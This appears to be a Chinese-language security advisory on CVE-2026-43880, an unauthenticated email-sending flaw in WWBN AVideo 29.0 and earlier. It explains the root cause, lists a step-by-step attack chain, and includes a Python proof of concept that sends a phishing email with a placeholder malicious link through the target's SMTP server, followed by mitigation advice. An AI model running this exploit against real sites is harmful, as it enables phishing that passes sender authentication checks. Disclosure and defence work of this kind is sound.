IPBUF安全漏洞报告
English
CVE-2026-43880 CVSS 5.3 中危

CVE-2026-43880:WWBN AVideo 未授权邮件发送漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43880
漏洞类型
邮件伪造
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

Email SpoofingAVideoCWE-285PhishingAuthentication Bypass

漏洞概述

WWBN AVideo 是一个开源视频平台。在 29.0 及以下版本中,`objects/sendEmail.json.php` 接口存在逻辑缺陷。由于该接口被配置为“公共写入操作”,无需身份认证即可访问。攻击者可以利用该漏洞,通过构造特定的 HTTP 请求,迫使目标站点的 SMTP 基础设施向任意收件人发送攻击者撰写的电子邮件。由于这些邮件源自服务器且带有合法的发件人地址,能够通过 SPF/DKIM/DMARC 等安全校验,极易被用于定向网络钓鱼和品牌伪造攻击。

技术细节

漏洞根源在于 `objects/sendEmail.json.php` 文件对参数的处理不当以及 `objects/functionsSecurity.php` 中的白名单配置。具体而言,`sendEmail.json.php` 根据 `contactForm` 参数的存在与否决定邮件发送逻辑。当未提交 `contactForm=1` 时,脚本允许攻击者通过参数指定收件人(`$sendTo`),并自动使用站点配置的联系邮箱作为发件人信息。关键的安全疏漏在于 `functionsSecurity.php` 第 885 行将该端点标记为“公共写入操作”(public write action),导致系统绕过了常规的身份认证和 CSRF Token 验证机制。尽管发送邮件可能需要通过验证码,但攻击者仍可利用该漏洞滥用受害者的 SMTP 服务信誉,发送高度可信的钓鱼邮件,造成完整性风险。

攻击链分析

STEP 1
侦察
识别目标是否使用 WWBN AVideo 平台,并确认版本号低于或等于 29.0。
STEP 2
漏洞探测
访问 `objects/sendEmail.json.php` 端点,检查是否无需认证即可响应,并分析请求参数逻辑。
STEP 3
构造载荷
准备钓鱼邮件内容(主题、正文),并指定目标受害者邮箱地址。确保请求中不包含 `contactForm=1` 参数。
STEP 4
利用验证码(如有)
如果目标站点启用了验证码防护,攻击者需要人工或自动解决验证码。
STEP 5
发送请求
将构造好的恶意 POST 请求发送至服务器端点。
STEP 6
达成效果
服务器利用自身 SMTP 服务发送邮件,受害者收到带有合法签名的伪造邮件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://target-site/objects/sendEmail.json.php" # Attacker-controlled data payload = { "subject": "Urgent: Account Verification Required", "message": "Please click this link to verify your account: http://malicious-site.com", "sendTo": "[email protected]", # Do not include 'contactForm=1' to trigger the vulnerable branch "recaptcha": "solved_captcha_token_if_required" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Potential exploit successful. Check inbox.") else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议在 Web 服务器层面(如 Nginx/Apache)限制对 `objects/sendEmail.json.php` 的外部访问,或者临时禁用该接口功能,直到补丁应用完毕。

参考链接